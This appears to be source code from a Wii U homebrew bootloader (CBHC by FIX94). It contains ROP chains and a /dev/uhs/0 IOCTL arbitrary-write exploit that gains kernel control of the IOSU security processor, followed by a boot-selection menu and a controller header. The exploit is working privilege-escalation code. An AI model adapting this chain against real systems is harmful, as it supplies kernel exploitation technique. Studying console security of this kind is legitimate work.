0x1010CD18, // 0x164 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x168
0x0, // 0x16C
0x1012EE64, // 0x170 set_panic_behavior (arbitrary write)
0x0, // 0x174
0x0, // 0x178
0x10123a9f, // 0x17C POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x28, // 0x180 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0xE1A03004, // 0x184 value: MOV R3, R4
0x0, // 0x188
0x10123a8b, // 0x18C POP {R3,R4,PC}
0x1, // 0x190 R3 must be 1 for the arbitrary write
0x0, // 0x194
0x1010CD18, // 0x198 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x19C
0x0, // 0x1A0
0x1012EE64, // 0x1A4 set_panic_behavior (arbitrary write)
0x0, // 0x1A8
0x0, // 0x1AC
0x10123a9f, // 0x17C POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x2C, // 0x180 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0xE8BD4010, // 0x184 value: POP {R4,LR}
0x0, // 0x188
0x10123a8b, // 0x18C POP {R3,R4,PC}
0x1, // 0x190 R3 must be 1 for the arbitrary write
0x0, // 0x194
0x1010CD18, // 0x198 MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x19C
0x0, // 0x1A0
0x1012EE64, // 0x1A4 set_panic_behavior (arbitrary write)
0x0, // 0x1A8
0x0, // 0x1AC
0x10123a9f, // 0x1B0 POP {R0,R1,R4,PC}
REPLACE_SYSCALL + 0x30, // 0x1B4 address: the beginning of syscall_0x1a (IOS_GetUpTime64)
0xE12FFF13, // 0x1B8 value: BX R3 our code :-)
0x0, // 0x1BC
0x10123a8b, // 0x1C0 POP {R3,R4,PC}
0x1, // 0x1C4 R3 must be 1 for the arbitrary write
0x0, // 0x1C8
0x1010CD18, // 0x1CC MOV R12, R0; MOV R0, R12; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x1D0
0x0, // 0x1D4
0x1012EE64, // 0x1D8 set_panic_behavior (arbitrary write)
0x0, // 0x1DC
0x0, // 0x1E0
0x10123a9f, // 0x1E4 POP {R0,R1,R4,PC}
REPLACE_SYSCALL, // 0x1DC start of syscall IOS_GetUpTime64
0x4001, // 0x1E0 on > 0x4000 it flushes all data caches
0x0, // 0x1E0
0x1012ED4C, // 0x1E4 IOS_FlushDCache(void *ptr, unsigned int len)
0x0, // 0x1DC
0x0, // 0x1E0
0x10123a9f, // 0x1E4 POP {R0,R1,R4,PC}
ARM_CODE_BASE, // 0x1E8 our code destination address
0x0, // 0x1EC
0x0, // 0x1F0
0x101063db, // 0x1F4 POP {R1,R2,R5,PC}
0x0, // 0x1F8
sizeof(arm_kernel_bin), // 0x1FC our code size
0x0, // 0x200
0x10123983, // 0x204 POP {R1,R3,R4,R6,PC}
0x01E40000, // 0x208 our code source location
0x08131D04, // 0x20C KERNEL_MEMCPY address
0x0, // 0x210
0x0, // 0x214
0x1012EBB4, // 0x218 IOS_GetUpTime64 (privileged stack pivot)
0x0,
0x0,
0x101312D0,
};
static const int second_chain[] = {
0x10123a9f, // 0x00 POP {R0,R1,R4,PC}
CHAIN_START + 0x14 + 0x4 + 0x20 - 0xF000, // 0x04 destination
0x0, // 0x08
0x0, // 0x0C
0x101063db, // 0x10 POP {R1,R2,R5,PC}
0x01E30000, // 0x14 source
sizeof(final_chain), // 0x18 length
0x0, // 0x1C
0x10106D4C, // 0x20 BL MEMCPY; MOV R0, #0; LDMFD SP!, {R4,R5,PC}
0x0, // 0x24
0x0, // 0x28
0x101236f3, // 0x2C POP {R1-R7,PC}
0x0, // 0x30 arg
0x101001DC, // 0x34 stackptr
0x68, // 0x38 stacksize
0x10101634, // 0x3C proc: ADD SP, SP, #8; LDMFD SP!, {R4,R5,PC}
0x0, // 0x40
0x0, // 0x44
0x0, // 0x48
0x1010388C, // 0x4C CMP R3, #0; MOV R0, R4; LDMNEFD SP!, {R4,R5,PC}
0x0, // 0x50
0x0, // 0x54
0x1012CFEC, // 0x58 MOV LR, R0; MOV R0, LR; ADD SP, SP, #8; LDMFD SP!, {PC}
0x0, // 0x5C
0x0, // 0x60
IOS_CREATETHREAD, // 0x64
0x1, // 0x68 priority
0x2, // 0x6C flags
0x0, // 0x70
0x0, // 0x74
0x101063db, // 0x78 POP {R1,R2,R5,PC}
0x0, // 0x7C
-(0x240 + 0x18 + 0xF000), // 0x80 stack offset
0x0, // 0x84
0x101141C0, // 0x88 MOV R0, R9; ADD SP, SP, #0xC; LDMFD SP!, {R4-R11,PC}
0x0,
0x0,
0x0,
0x00110000 - 0x44, // 0x8C
0x00110010, // 0x90
0x0, // 0x94
0x0, // 0x98
0x0, // 0x9C
0x0, // 0xA0
0x0, // 0xA4
0x4, // 0xA8 R11 must equal 4 in order to pivot the stack
0x101088F4, // STR R0, [R4,#0x44]; MOVEQ R0, R5; STRNE R3, [R5]; LDMFD SP!, {R4,R5,PC}
0x0,
0x0,
0x1012EA68, // 0xAC stack pivot
};
static void uhs_exploit_init(unsigned int coreinit_handle);
static int uhs_write32(unsigned int coreinit_handle, int dev_uhs_0_handle, int arm_addr, int val);
static unsigned int getButtonsDown(unsigned int padscore_handle, unsigned int vpad_handle);
#define BUS_SPEED 248625000
#define SECS_TO_TICKS(sec) (((unsigned long long)(sec)) * (BUS_SPEED/4))
#define MILLISECS_TO_TICKS(msec) (SECS_TO_TICKS(msec) / 1000)
#define MICROSECS_TO_TICKS(usec) (SECS_TO_TICKS(usec) / 1000000)
#define usleep(usecs) OSSleepTicks(MICROSECS_TO_TICKS(usecs))
#define sleep(secs) OSSleepTicks(SECS_TO_TICKS(secs))
#define FORCE_SYSMENU (VPAD_BUTTON_ZL | VPAD_BUTTON_ZR | VPAD_BUTTON_L | VPAD_BUTTON_R)
#define FORCE_HBL (VPAD_BUTTON_A | VPAD_BUTTON_B | VPAD_BUTTON_X | VPAD_BUTTON_Y)
#define SD_HBL_PATH "/vol/external01/wiiu/apps/homebrew_launcher/homebrew_launcher.elf"
static const char *verChar = "CBHC v1.0 by FIX94";
#define DEFAULT_DISABLED 0
#define DEFAULT_SYSMENU 1
#define DEFAULT_HBL 2
#define DEFAULT_CFW_IMG 3
#define DEFAULT_MAX 4
static const char *defOpts[DEFAULT_MAX] = {
"DEFAULT_DISABLED",
"DEFAULT_SYSMENU",
"DEFAULT_HBL",
"DEFAULT_CFW_IMG",
};
static const char *bootOpts[DEFAULT_MAX] = {
"Disabled",
"System Menu",
"Homebrew Launcher",
"fw.img on SD Card",
};
#define LAUNCH_SYSMENU 0
#define LAUNCH_HBL 1
#define LAUNCH_CFW_IMG 2
#define OSScreenClearBuffer(tmp) OSScreenClearBufferEx(0, tmp); OSScreenClearBufferEx(1, tmp);
#define OSScreenPutFont(x, y, buf) OSScreenPutFontEx(0, x, y, buf); OSScreenPutFontEx(1, x, y, buf);
#define OSScreenFlipBuffers() OSScreenFlipBuffersEx(0); OSScreenFlipBuffersEx(1);
uint32_t __main(void)
{
unsigned int coreinit_handle;
OSDynLoad_Acquire("coreinit.rpl", &coreinit_handle);
void (*DCStoreRange)(const void *addr, uint32_t length);
OSDynLoad_FindExport(coreinit_handle, 0, "DCStoreRange", &DCStoreRange);
void (*OSExitThread)(int);
OSDynLoad_FindExport(coreinit_handle, 0, "OSExitThread", &OSExitThread);
unsigned int sysapp_handle;
OSDynLoad_Acquire("sysapp.rpl", &sysapp_handle);
unsigned long long(*_SYSGetSystemApplicationTitleId)(int sysApp);
OSDynLoad_FindExport(sysapp_handle,0,"_SYSGetSystemApplicationTitleId",&_SYSGetSystemApplicationTitleId);
unsigned long long sysmenu = _SYSGetSystemApplicationTitleId(0);
//set up default hbl path
strcpy((void*)0xF5E70000,SD_HBL_PATH);
unsigned int vpad_handle;
OSDynLoad_Acquire("vpad.rpl", &vpad_handle);
int(*VPADRead)(int controller, VPADData *buffer, unsigned int num, int *error);
OSDynLoad_FindExport(vpad_handle, 0, "VPADRead", &VPADRead);
int vpadError = -1;
VPADData vpad;
VPADRead(0, &vpad, 1, &vpadError);
if(vpadError == 0)
{
if(((vpad.btns_d|vpad.btns_h) & FORCE_SYSMENU) == FORCE_SYSMENU)
{
// iosuhax-less menu launch backup code
int(*_SYSLaunchTitleWithStdArgsInNoSplash)(unsigned long long tid, void *ptr);
OSDynLoad_FindExport(sysapp_handle,0,"_SYSLaunchTitleWithStdArgsInNoSplash",&_SYSLaunchTitleWithStdArgsInNoSplash);
_SYSLaunchTitleWithStdArgsInNoSplash(sysmenu, 0);
OSExitThread(0);
return 0;
}
else if(((vpad.btns_d|vpad.btns_h) & FORCE_HBL) == FORCE_HBL)
{
// original hbl loader payload
return 0x01800000;
}
}
unsigned int *pMEMAllocFromDefaultHeapEx;
unsigned int *pMEMFreeToDefaultHeap;
OSDynLoad_FindExport(coreinit_handle, 1, "MEMAllocFromDefaultHeapEx", &pMEMAllocFromDefaultHeapEx);
OSDynLoad_FindExport(coreinit_handle, 1, "MEMFreeToDefaultHeap", &pMEMFreeToDefaultHeap);
void*(*MEMAllocFromDefaultHeapEx)(int size, int align) = (void*)(*pMEMAllocFromDefaultHeapEx);
void(*MEMFreeToDefaultHeap)(void *ptr) = (void*)(*pMEMFreeToDefaultHeap);
void *pClient = MEMAllocFromDefaultHeapEx(0x1700,4);
void *pCmd = MEMAllocFromDefaultHeapEx(0xA80,4);
int(*FSInit)(void);
void(*FSShutdown)(void);
int(*FSAddClient)(void *pClient, int errHandling);
int(*FSDelClient)(void *pClient);
void(*FSInitCmdBlock)(void *pCmd);
int(*FSWriteFile)(void *pClient, void *pCmd, const void *buffer, int size, int count, int fd, int flag, int errHandling);
int(*FSCloseFile)(void *pClient, void *pCmd, int fd, int errHandling);
OSDynLoad_FindExport(coreinit_handle, 0, "FSInit", &FSInit);
OSDynLoad_FindExport(coreinit_handle, 0, "FSShutdown", &FSShutdown);
OSDynLoad_FindExport(coreinit_handle, 0, "FSInitCmdBlock", &FSInitCmdBlock);
OSDynLoad_FindExport(coreinit_handle, 0, "FSAddClient", &FSAddClient);
OSDynLoad_FindExport(coreinit_handle, 0, "FSDelClient", &FSDelClient);
OSDynLoad_FindExport(coreinit_handle, 0, "FSWriteFile", &FSWriteFile);
OSDynLoad_FindExport(coreinit_handle, 0, "FSCloseFile", &FSCloseFile);
unsigned int act_handle;
OSDynLoad_Acquire("nn_act.rpl", &act_handle);
unsigned int save_handle;
OSDynLoad_Acquire("nn_save.rpl", &save_handle);
void(*SAVEInit)(void);
void(*SAVEShutdown)(void);
void(*SAVEInitSaveDir)(unsigned char user);
int(*SAVEOpenFile)(void *pClient, void *pCmd, unsigned char user, const char *path, const char *mode, int *fd, int errHandling);
int(*SAVEFlushQuota)(void *pClient, void *pCmd, unsigned char user, int errHandling);
void(*SAVERename)(void *pClient, void *pCmd, unsigned char user, const char *oldpath, const char *newpath, int errHandling);
OSDynLoad_FindExport(save_handle, 0, "SAVEInit",&SAVEInit);
OSDynLoad_FindExport(save_handle, 0, "SAVEShutdown",&SAVEShutdown);
OSDynLoad_FindExport(save_handle, 0, "SAVEInitSaveDir",&SAVEInitSaveDir);
OSDynLoad_FindExport(save_handle, 0, "SAVEOpenFile", &SAVEOpenFile);
OSDynLoad_FindExport(save_handle, 0, "SAVEFlushQuota", &SAVEFlushQuota);
OSDynLoad_FindExport(save_handle, 0, "SAVERename", &SAVERename);
void(*nn_act_initialize)(void);
unsigned char(*nn_act_getslotno)(void);
void(*nn_act_finalize)(void);
OSDynLoad_FindExport(act_handle, 0, "Initialize__Q2_2nn3actFv", &nn_act_initialize);
OSDynLoad_FindExport(act_handle, 0, "GetSlotNo__Q2_2nn3actFv", &nn_act_getslotno);
OSDynLoad_FindExport(act_handle, 0, "Finalize__Q2_2nn3actFv", &nn_act_finalize);
FSInit();
nn_act_initialize();
unsigned char slot = nn_act_getslotno();
SAVEInit();
SAVEInitSaveDir(slot);
FSAddClient(pClient, -1);
FSInitCmdBlock(pCmd);
int autoboot = -1;
int iFd = -1;
int i;
for(i = 0; i < DEFAULT_MAX; i++)
{
SAVEOpenFile(pClient, pCmd, slot, defOpts[i], "r", &iFd, -1);
if (iFd >= 0)
{
autoboot = i;
FSCloseFile(pClient, pCmd, iFd, -1);
break;
}
}
if(autoboot < 0)
{
autoboot = DEFAULT_DISABLED;
SAVEOpenFile(pClient, pCmd, slot, defOpts[DEFAULT_DISABLED], "w", &iFd, -1);
if (iFd >= 0)
FSCloseFile(pClient, pCmd, iFd, -1);
}
int launchmode = (autoboot > 0) ? (autoboot - 1) : LAUNCH_SYSMENU;
int cur_autoboot = autoboot;
void(*OSScreenInit)();
void(*OSScreenEnableEx)(int,int);
unsigned int(*OSScreenGetBufferSizeEx)(unsigned int bufferNum);
unsigned int(*OSScreenSetBufferEx)(unsigned int bufferNum, void * addr);
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenInit", &OSScreenInit);
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenEnableEx", &OSScreenEnableEx);
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenGetBufferSizeEx", &OSScreenGetBufferSizeEx);
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenSetBufferEx", &OSScreenSetBufferEx);
unsigned int(*OSScreenClearBufferEx)(unsigned int bufferNum, unsigned int temp);
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenClearBufferEx", &OSScreenClearBufferEx);
unsigned int(*OSScreenPutFontEx)(unsigned int bufferNum, unsigned int posX, unsigned int posY, const char * buffer);
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenPutFontEx", &OSScreenPutFontEx);
unsigned int(*OSScreenFlipBuffersEx)(unsigned int bufferNum);
OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenFlipBuffersEx", &OSScreenFlipBuffersEx);
OSScreenInit();
int screen_buf0_size = OSScreenGetBufferSizeEx(0);
OSScreenSetBufferEx(0, (void *)0xF4000000);
OSScreenSetBufferEx(1, (void *)0xF4000000 + screen_buf0_size);
OSScreenEnableEx(1, 0);
OSScreenEnableEx(1, 1);
unsigned int padscore_handle;
OSDynLoad_Acquire("padscore.rpl", &padscore_handle);
void(*OSSleepTicks)(unsigned long long ticks);
OSDynLoad_FindExport(coreinit_handle, 0, "OSSleepTicks",&OSSleepTicks);
void(*WPADEnableURCC)(int enable);
void(*KPADSetConnectCallback)(int chan, void *ptr);
void*(*WPADSetSyncDeviceCallback)(void *ptr);
void(*KPADShutdown)(void);
OSDynLoad_FindExport(padscore_handle, 0, "WPADEnableURCC", &WPADEnableURCC);
OSDynLoad_FindExport(padscore_handle, 0, "KPADSetConnectCallback", &KPADSetConnectCallback);
OSDynLoad_FindExport(padscore_handle, 0, "WPADSetSyncDeviceCallback", &WPADSetSyncDeviceCallback);
OSDynLoad_FindExport(padscore_handle, 0, "KPADShutdown",&KPADShutdown);
//easly allows us callback without execute permission on other cores
char(*WPADGetSpeakerVolume)(void);
void(*WPADSetSpeakerVolume)(char);
OSDynLoad_FindExport(padscore_handle, 0, "WPADGetSpeakerVolume", &WPADGetSpeakerVolume);
OSDynLoad_FindExport(padscore_handle, 0, "WPADSetSpeakerVolume", &WPADSetSpeakerVolume);
//enable wiiu pro controller connection
WPADEnableURCC(1);
//hachihachi instantly disconnects wiimotes normally
KPADSetConnectCallback(0,NULL);
KPADSetConnectCallback(1,NULL);
KPADSetConnectCallback(2,NULL);
KPADSetConnectCallback(3,NULL);
char oriVol = WPADGetSpeakerVolume();
//WPAD_SYNC_EVT=0 is button pressed
WPADSetSpeakerVolume(1);
WPADSetSyncDeviceCallback(WPADSetSpeakerVolume);
if(autoboot == DEFAULT_DISABLED)
goto cbhc_menu;
OSScreenClearBuffer(0);
OSScreenPutFont(0, 0, verChar);
OSScreenPutFont(0, 1, "Autobooting...");
OSScreenFlipBuffers();
//garbage read
getButtonsDown(padscore_handle, vpad_handle);
//see if menu is requested
int loadMenu = 0;
int waitCnt = 40;
while(waitCnt--)
{
unsigned int btnDown = getButtonsDown(padscore_handle, vpad_handle);
if((btnDown & VPAD_BUTTON_HOME) || WPADGetSpeakerVolume() == 0)
{
WPADSetSpeakerVolume(1);
loadMenu = 1;
break;
}
usleep(50000);
}
if(loadMenu == 0)
goto doIOSUexploit;
OSScreenClearBuffer(0);
OSScreenPutFont(0, 0, verChar);
OSScreenPutFont(0, 1, "Entering Menu...");
OSScreenFlipBuffers();
waitCnt = 30;
while(waitCnt--)
{
getButtonsDown(padscore_handle, vpad_handle);
usleep(50000);
}
cbhc_menu: ;
int redraw = 1;
int PosX = 0;
int ListMax = 4;
int clickT = 0;
while(1)
{
unsigned int btnDown = getButtonsDown(padscore_handle, vpad_handle);
if(WPADGetSpeakerVolume() == 0)
{
if(clickT == 0)
clickT = 8;
else
{
btnDown |= VPAD_BUTTON_A;
clickT = 0;
}
WPADSetSpeakerVolume(1);
}
else if(clickT)
{
clickT--;
if(clickT == 0)
btnDown |= VPAD_BUTTON_DOWN;
}
if( btnDown & VPAD_BUTTON_DOWN )
{
if(PosX+1 == ListMax)
PosX = 0;
else
PosX++;
redraw = 1;
}
if( btnDown & VPAD_BUTTON_UP )
{
if( PosX <= 0 )
PosX = (ListMax-1);
else
PosX--;
redraw = 1;
}
if( btnDown & VPAD_BUTTON_A )
{
if(PosX == 3)
{
cur_autoboot++;
if(cur_autoboot == DEFAULT_MAX)
cur_autoboot = DEFAULT_DISABLED;
redraw = 1;
}
else
{
launchmode = PosX;
break;
}
}
if(redraw)
{
OSScreenClearBuffer(0);
OSScreenPutFont(0, 0, verChar);
char printStr[64];
__os_snprintf(printStr,64,"%c Boot System Menu", 0 == PosX ? '>' : ' ');
OSScreenPutFont(0, 1, printStr);
__os_snprintf(printStr,64,"%c Boot Homebrew Launcher", 1 == PosX ? '>' : ' ');
OSScreenPutFont(0, 2, printStr);
__os_snprintf(printStr,64,"%c Boot fw.img on SD Card", 2 == PosX ? '>' : ' ');
OSScreenPutFont(0, 3, printStr);
__os_snprintf(printStr,64,"%c Autoboot: %s", 3 == PosX ? '>' : ' ', bootOpts[cur_autoboot]);
OSScreenPutFont(0, 4, printStr);
OSScreenFlipBuffers();
redraw = 0;
}
usleep(50000);
}
OSScreenClearBuffer(0);
OSScreenFlipBuffers();
usleep(50000);
doIOSUexploit:
WPADSetSpeakerVolume(oriVol);
KPADShutdown();
if(cur_autoboot != autoboot)
SAVERename(pClient, pCmd, slot, defOpts[autoboot], defOpts[cur_autoboot], -1);
SAVEFlushQuota(pClient, pCmd, slot, -1);
FSDelClient(pClient);
SAVEShutdown();
nn_act_finalize();
FSShutdown();
MEMFreeToDefaultHeap(pClient);
MEMFreeToDefaultHeap(pCmd);
OSScreenClearBuffer(0);
OSScreenFlipBuffers();
memcpy((void*)0xF5E70100, &sysmenu, 8);
*(volatile unsigned int*)0xF5E70120 = (launchmode == LAUNCH_CFW_IMG);
DCStoreRange((void*)0xF5E70100, 0x40);
int (*OSForceFullRelaunch)(void);
OSDynLoad_FindExport(coreinit_handle, 0, "OSForceFullRelaunch", &OSForceFullRelaunch);
//for patched menu launch
void (*SYSLaunchMenu)(void);
OSDynLoad_FindExport(sysapp_handle, 0,"SYSLaunchMenu", &SYSLaunchMenu);
int (*IOS_Open)(char *path, unsigned int mode);
int (*IOS_Close)(int fd);
OSDynLoad_FindExport(coreinit_handle, 0, "IOS_Open", &IOS_Open);
OSDynLoad_FindExport(coreinit_handle, 0, "IOS_Close", &IOS_Close);
int dev_uhs_0_handle = IOS_Open("/dev/uhs/0", 0); //! Open /dev/uhs/0 IOS node
uhs_exploit_init(coreinit_handle); //! Init variables for the exploit
//!------ROP CHAIN-------
uhs_write32(coreinit_handle, dev_uhs_0_handle, CHAIN_START + 0x14, CHAIN_START + 0x14 + 0x4 + 0x20);
uhs_write32(coreinit_handle, dev_uhs_0_handle, CHAIN_START + 0x10, 0x1011814C);
uhs_write32(coreinit_handle, dev_uhs_0_handle, CHAIN_START + 0xC, SOURCE);
uhs_write32(coreinit_handle, dev_uhs_0_handle, CHAIN_START, 0x1012392b); // pop {R4-R6,PC}
IOS_Close(dev_uhs_0_handle);
if(launchmode == LAUNCH_HBL)
return 0x01800000;
//sysmenu or cfw
if(launchmode == LAUNCH_CFW_IMG)
OSForceFullRelaunch();
SYSLaunchMenu();
OSExitThread(0);
return 0;
}
static unsigned int wpadToVpad(unsigned int buttons)
{
unsigned int conv_buttons = 0;
if(buttons & WPAD_BUTTON_LEFT)
conv_buttons |= VPAD_BUTTON_LEFT;
if(buttons & WPAD_BUTTON_RIGHT)
conv_buttons |= VPAD_BUTTON_RIGHT;
if(buttons & WPAD_BUTTON_DOWN)
conv_buttons |= VPAD_BUTTON_DOWN;
if(buttons & WPAD_BUTTON_UP)
conv_buttons |= VPAD_BUTTON_UP;
if(buttons & WPAD_BUTTON_PLUS)
conv_buttons |= VPAD_BUTTON_PLUS;
if(buttons & WPAD_BUTTON_2)
conv_buttons |= VPAD_BUTTON_X;
if(buttons & WPAD_BUTTON_1)
conv_buttons |= VPAD_BUTTON_Y;
if(buttons & WPAD_BUTTON_B)
conv_buttons |= VPAD_BUTTON_B;
if(buttons & WPAD_BUTTON_A)
conv_buttons |= VPAD_BUTTON_A;
if(buttons & WPAD_BUTTON_MINUS)
conv_buttons |= VPAD_BUTTON_MINUS;
if(buttons & WPAD_BUTTON_HOME)
conv_buttons |= VPAD_BUTTON_HOME;
return conv_buttons;
}
static unsigned int wpadClassicToVpad(unsigned int buttons)
{
unsigned int conv_buttons = 0;
if(buttons & WPAD_CLASSIC_BUTTON_LEFT)
conv_buttons |= VPAD_BUTTON_LEFT;
if(buttons & WPAD_CLASSIC_BUTTON_RIGHT)
conv_buttons |= VPAD_BUTTON_RIGHT;
if(buttons & WPAD_CLASSIC_BUTTON_DOWN)
conv_buttons |= VPAD_BUTTON_DOWN;
if(buttons & WPAD_CLASSIC_BUTTON_UP)
conv_buttons |= VPAD_BUTTON_UP;
if(buttons & WPAD_CLASSIC_BUTTON_PLUS)
conv_buttons |= VPAD_BUTTON_PLUS;
if(buttons & WPAD_CLASSIC_BUTTON_X)
conv_buttons |= VPAD_BUTTON_X;
if(buttons & WPAD_CLASSIC_BUTTON_Y)
conv_buttons |= VPAD_BUTTON_Y;
if(buttons & WPAD_CLASSIC_BUTTON_B)
conv_buttons |= VPAD_BUTTON_B;
if(buttons & WPAD_CLASSIC_BUTTON_A)
conv_buttons |= VPAD_BUTTON_A;
if(buttons & WPAD_CLASSIC_BUTTON_MINUS)
conv_buttons |= VPAD_BUTTON_MINUS;
if(buttons & WPAD_CLASSIC_BUTTON_HOME)
conv_buttons |= VPAD_BUTTON_HOME;
if(buttons & WPAD_CLASSIC_BUTTON_ZR)
conv_buttons |= VPAD_BUTTON_ZR;
if(buttons & WPAD_CLASSIC_BUTTON_ZL)
conv_buttons |= VPAD_BUTTON_ZL;
if(buttons & WPAD_CLASSIC_BUTTON_R)
conv_buttons |= VPAD_BUTTON_R;
if(buttons & WPAD_CLASSIC_BUTTON_L)
conv_buttons |= VPAD_BUTTON_L;
return conv_buttons;
}
static unsigned int getButtonsDown(unsigned int padscore_handle, unsigned int vpad_handle)
{
int(*WPADProbe)(int chan, int * pad_type);
int(*KPADRead)(int chan, void * data, int size);
OSDynLoad_FindExport(padscore_handle, 0, "WPADProbe",&WPADProbe);
OSDynLoad_FindExport(padscore_handle, 0, "KPADRead",&KPADRead);
unsigned int btnDown = 0;
int(*VPADRead)(int controller, VPADData *buffer, unsigned int num, int *error);
OSDynLoad_FindExport(vpad_handle, 0, "VPADRead", &VPADRead);
int vpadError = -1;
VPADData vpad;
VPADRead(0, &vpad, 1, &vpadError);
if(vpadError == 0)
btnDown |= vpad.btns_d;
int i;
for(i = 0; i < 4; i++)
{
int controller_type;
if(WPADProbe(i, &controller_type) != 0)
continue;
KPADData kpadData;
KPADRead(i, &kpadData, 1);
if(kpadData.device_type <= 1)
btnDown |= wpadToVpad(kpadData.btns_d);
else
btnDown |= wpadClassicToVpad(kpadData.classic.btns_d);
}
return btnDown;
}
static void uhs_exploit_init(unsigned int coreinit_handle)
{
void (*DCStoreRange)(const void *addr, uint32_t length);
OSDynLoad_FindExport(coreinit_handle, 0, "DCStoreRange", &DCStoreRange);
//! Clear out our used MEM1 area
memset((void*)0xF5E00000, 0, 0x00070000);
DCStoreRange((void*)0xF5E00000, 0x00070000);
//!------Variables used in exploit------
int *pretend_root_hub = (int*)0xF5E60640;
int *ayylmao = (int*)0xF5E00000;
//!-------------------------------------
ayylmao[5] = 1;
ayylmao[8] = 0x1E00000;
memcpy((char*)(0xF5E20000), second_chain, sizeof(second_chain));
memcpy((char*)(0xF5E30000), final_chain, sizeof(final_chain));
memcpy((char*)(0xF5E40000), arm_kernel_bin, sizeof(arm_kernel_bin));
memcpy((char*)(0xF5E50000), arm_user_bin, sizeof(arm_user_bin));
pretend_root_hub[33] = 0x1E00000;
pretend_root_hub[78] = 0;
//! Store current CPU cache into main memory for IOSU to read
DCStoreRange(ayylmao, 0x840);
DCStoreRange((void*)0xF5E20000, sizeof(second_chain));
DCStoreRange((void*)0xF5E30000, sizeof(final_chain));
DCStoreRange((void*)0xF5E40000, sizeof(arm_kernel_bin));
DCStoreRange((void*)0xF5E50000, sizeof(arm_user_bin));
DCStoreRange(pretend_root_hub, 0x160);
}
static int uhs_write32(unsigned int coreinit_handle, int dev_uhs_0_handle, int arm_addr, int val)
{
void (*DCStoreRange)(const void *addr, uint32_t length);
void (*OSSleepTicks)(uint64_t ticks);
int (*IOS_Ioctl)(int fd, uint32_t request, void *input_buffer,uint32_t input_buffer_len, void *output_buffer, uint32_t output_buffer_len);
OSDynLoad_FindExport(coreinit_handle, 0, "DCStoreRange", &DCStoreRange);
OSDynLoad_FindExport(coreinit_handle, 0, "OSSleepTicks", &OSSleepTicks);
OSDynLoad_FindExport(coreinit_handle, 0, "IOS_Ioctl", &IOS_Ioctl);
//!------Variables used in exploit------
int *ayylmao = (int*)0xF5E00000;
//!-------------------------------------
ayylmao[520] = arm_addr - 24; //! The address to be overwritten, minus 24 bytes
DCStoreRange(ayylmao, 0x840); //! Store current CPU cache into main memory for IOSU to read
OSSleepTicks(0x200000); //! Wait for caches to refresh over in IOSU
//! index 0 is at 0x10149A6C, each index is 0x144 bytes long, so 0x10149A6C - (0x144*0xB349B) = 0x1E60640,
//! which is the physical address of 0xF5E60640 for us, right at the end of MEM1
int request_buffer[] = { -(0xB349B), val };
int output_buffer[32];
return IOS_Ioctl(dev_uhs_0_handle, 0x15, request_buffer, sizeof(request_buffer), output_buffer, sizeof(output_buffer));
}

127
dsrom/CBHC/pad.h Normal file
View File

@ -0,0 +1,127 @@
#ifndef _PAD_H_
#define _PAD_H_
typedef struct _KPADData
{
unsigned int btns_h;
unsigned int btns_d;
unsigned int btns_r;
unsigned int unused_1[5];
float pos_x;
float pos_y;
unsigned int unused_2[3];
float angle_x;
float angle_y;
unsigned int unused_3[8];
unsigned char device_type;
unsigned char wpad_error;
unsigned char pos_valid;
unsigned char unused_4[1];
union
{
struct
{
float stick_x;
float stick_y;
} nunchuck;
struct
{
unsigned int btns_h;
unsigned int btns_d;
unsigned int btns_r;
float lstick_x;
float lstick_y;
float rstick_x;
float rstick_y;
float ltrigger;
float rtrigger;
} classic;
unsigned int unused_6[20];
};
unsigned int unused_7[16];
} KPADData;
#define WPAD_BUTTON_LEFT 0x0001
#define WPAD_BUTTON_RIGHT 0x0002
#define WPAD_BUTTON_DOWN 0x0004
#define WPAD_BUTTON_UP 0x0008
#define WPAD_BUTTON_PLUS 0x0010
#define WPAD_BUTTON_2 0x0100
#define WPAD_BUTTON_1 0x0200
#define WPAD_BUTTON_B 0x0400
#define WPAD_BUTTON_A 0x0800
#define WPAD_BUTTON_MINUS 0x1000
#define WPAD_BUTTON_Z 0x2000
#define WPAD_BUTTON_C 0x4000
#define WPAD_BUTTON_HOME 0x8000
#define WPAD_CLASSIC_BUTTON_UP 0x0001
#define WPAD_CLASSIC_BUTTON_LEFT 0x0002
#define WPAD_CLASSIC_BUTTON_ZR 0x0004
#define WPAD_CLASSIC_BUTTON_X 0x0008
#define WPAD_CLASSIC_BUTTON_A 0x0010
#define WPAD_CLASSIC_BUTTON_Y 0x0020
#define WPAD_CLASSIC_BUTTON_B 0x0040
#define WPAD_CLASSIC_BUTTON_ZL 0x0080
#define WPAD_CLASSIC_BUTTON_R 0x0200
#define WPAD_CLASSIC_BUTTON_PLUS 0x0400
#define WPAD_CLASSIC_BUTTON_HOME 0x0800
#define WPAD_CLASSIC_BUTTON_MINUS 0x1000
#define WPAD_CLASSIC_BUTTON_L 0x2000
#define WPAD_CLASSIC_BUTTON_DOWN 0x4000
#define WPAD_CLASSIC_BUTTON_RIGHT 0x8000
typedef struct
{
float x,y;
} Vec2D;
typedef struct
{
uint16_t x, y; /* Touch coordinates */
uint16_t touched; /* 1 = Touched, 0 = Not touched */
uint16_t invalid; /* 0 = All valid, 1 = X invalid, 2 = Y invalid, 3 = Both invalid? */
} VPADTPData;
typedef struct
{
uint32_t btns_h; /* Held buttons */
uint32_t btns_d; /* Buttons that are pressed at that instant */
uint32_t btns_r; /* Released buttons */
Vec2D lstick, rstick; /* Each contains 4-byte X and Y components */
char unknown1c[0x52 - 0x1c]; /* Contains accelerometer and gyroscope data somewhere */
VPADTPData tpdata; /* Normal touchscreen data */
VPADTPData tpdata1; /* Modified touchscreen data 1 */
VPADTPData tpdata2; /* Modified touchscreen data 2 */
char unknown6a[0xa0 - 0x6a];
uint8_t volume;
uint8_t battery; /* 0 to 6 */
